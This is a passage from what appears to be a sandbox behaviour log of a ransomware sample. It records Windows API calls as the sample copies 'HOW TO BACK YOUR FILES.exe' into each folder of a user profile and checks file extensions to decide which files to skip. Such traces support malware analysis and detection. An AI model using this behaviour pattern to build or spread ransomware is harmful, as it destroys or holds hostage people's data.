Settings\\Default" | out: lpString1="C:\\Documents and Settings\\Default") returned="C:\\Documents and Settings\\Default" [0035.733] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0035.733] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.733] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0035.734] GetLastError () returned 0x0 [0035.734] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0035.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52cad8 [0035.734] ReadFile (in: hFile=0xf4, lpBuffer=0x52cad8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52cad8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0035.734] CloseHandle (hObject=0xf4) returned 1 [0035.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cad8 | out: hHeap=0x4f0000) returned 1 [0035.734] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0035.734] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc35b640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0035.734] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.734] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.734] lstrcpyW (in: lpString1=0x241e88c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0035.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c260 [0035.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x5286b0 [0035.734] lstrcatW (in: lpString1="AppData", lpString2="\\" | out: lpString1="AppData\\") returned="AppData\\" [0035.734] lstrcatW (in: lpString1="AppData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AppData\\HOW TO BACK YOUR FILES.exe") returned="AppData\\HOW TO BACK YOUR FILES.exe" [0035.734] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.737] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0035.737] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.737] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.737] lstrcpyW (in: lpString1=0x241e88c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0035.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c728 [0035.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52cad8 [0035.737] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0035.737] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0035.737] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.740] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0035.740] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.740] lstrcmpiW (lpString1="Contacts", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.740] lstrcpyW (in: lpString1=0x241e88c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0035.741] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Contacts", dwFileAttributes=0x10) returned 1 [0035.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c740 [0035.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528710 [0035.741] lstrcatW (in: lpString1="Contacts", lpString2="\\" | out: lpString1="Contacts\\") returned="Contacts\\" [0035.741] lstrcatW (in: lpString1="Contacts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Contacts\\HOW TO BACK YOUR FILES.exe") returned="Contacts\\HOW TO BACK YOUR FILES.exe" [0035.741] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.744] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0035.744] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.744] lstrcmpiW (lpString1="Cookies", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.744] lstrcpyW (in: lpString1=0x241e88c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0035.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c758 [0035.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528770 [0035.744] lstrcatW (in: lpString1="Cookies", lpString2="\\" | out: lpString1="Cookies\\") returned="Cookies\\" [0035.744] lstrcatW (in: lpString1="Cookies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cookies\\HOW TO BACK YOUR FILES.exe") returned="Cookies\\HOW TO BACK YOUR FILES.exe" [0035.744] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.752] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0035.752] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.752] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.752] lstrcpyW (in: lpString1=0x241e88c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0035.752] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Desktop", dwFileAttributes=0x10) returned 1 [0035.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c770 [0035.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x5287d0 [0035.753] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0035.753] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0035.753] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.756] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0035.756] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.756] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.756] lstrcpyW (in: lpString1=0x241e88c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0035.756] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Documents", dwFileAttributes=0x10) returned 1 [0035.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c788 [0035.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528830 [0035.756] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0035.756] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0035.756] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.759] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0035.759] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.759] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.759] lstrcpyW (in: lpString1=0x241e88c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0035.759] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Downloads", dwFileAttributes=0x10) returned 1 [0035.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7a0 [0035.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528890 [0035.760] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0035.760] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0035.760] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.762] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0035.762] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.762] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.763] lstrcpyW (in: lpString1=0x241e88c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0035.763] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Favorites", dwFileAttributes=0x10) returned 1 [0035.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7b8 [0035.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x5288f0 [0035.764] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0035.764] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0035.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.772] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc35b640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0035.772] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0035.772] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0035.773] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.773] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.773] lstrcpyW (in: lpString1=0x241e88c, lpString2="Links" | out: lpString1="Links") returned="Links" [0035.773] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Links", dwFileAttributes=0x10) returned 1 [0035.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7d0 [0035.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x516000 [0035.773] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0035.773] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0035.773] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\links\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.777] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0035.777] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.777] lstrcmpiW (lpString1="Local Settings", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.777] lstrcpyW (in: lpString1=0x241e88c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0035.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7e8 [0035.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52cb48 [0035.777] lstrcatW (in: lpString1="Local Settings", lpString2="\\" | out: lpString1="Local Settings\\") returned="Local Settings\\" [0035.777] lstrcatW (in: lpString1="Local Settings\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local Settings\\HOW TO BACK YOUR FILES.exe") returned="Local Settings\\HOW TO BACK YOUR FILES.exe" [0035.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.780] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0035.780] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.780] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.780] lstrcpyW (in: lpString1=0x241e88c, lpString2="Music" | out: lpString1="Music") returned="Music" [0035.781] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Music", dwFileAttributes=0x10) returned 1 [0035.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cbd0 [0035.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x516058 [0035.781] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0035.781] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0035.781] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\music\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.783] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0035.783] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.783] lstrcmpiW (lpString1="My Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.783] lstrcpyW (in: lpString1=0x241e88c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0035.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cbe8 [0035.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b330 [0035.783] lstrcatW (in: lpString1="My Documents", lpString2="\\" | out: lpString1="My Documents\\") returned="My Documents\\" [0035.783] lstrcatW (in: lpString1="My Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Documents\\HOW TO BACK YOUR FILES.exe") returned="My Documents\\HOW TO BACK YOUR FILES.exe" [0035.783] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.784] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0035.784] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.784] lstrcmpiW (lpString1="NetHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.784] lstrcpyW (in: lpString1=0x241e88c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0035.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc00 [0035.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528950 [0035.784] lstrcatW (in: lpString1="NetHood", lpString2="\\" | out: lpString1="NetHood\\") returned="NetHood\\" [0035.784] lstrcatW (in: lpString1="NetHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetHood\\HOW TO BACK YOUR FILES.exe") returned="NetHood\\HOW TO BACK YOUR FILES.exe" [0035.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.789] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0035.789] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.789] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.789] lstrcpyW (in: lpString1=0x241e88c, lpString2="NTUSER.DAT.LOG" | out: lpString1="NTUSER.DAT.LOG") returned="NTUSER.DAT.LOG" [0035.789] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14 [0035.789] lstrlenW (lpString="Athena865") returned 9 [0035.789] lstrcmpiW (lpString1="R.DAT.LOG", lpString2="Athena865") returned 1 [0035.789] lstrlenW (lpString=".dll") returned 4 [0035.789] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".dll") returned 1 [0035.789] lstrlenW (lpString=".lnk") returned 4 [0035.789] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".lnk") returned 1 [0035.789] lstrlenW (lpString=".ini") returned 4 [0035.789] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".ini") returned 1 [0035.789] lstrlenW (lpString=".sys") returned 4 [0035.789] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".sys") returned 1 [0035.789] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14 [0035.789] lstrlenW (lpString="bak") returned 3 [0035.789] lstrcmpiW (lpString1="LOG", lpString2="bak") returned 1 [0035.789] lstrlenW 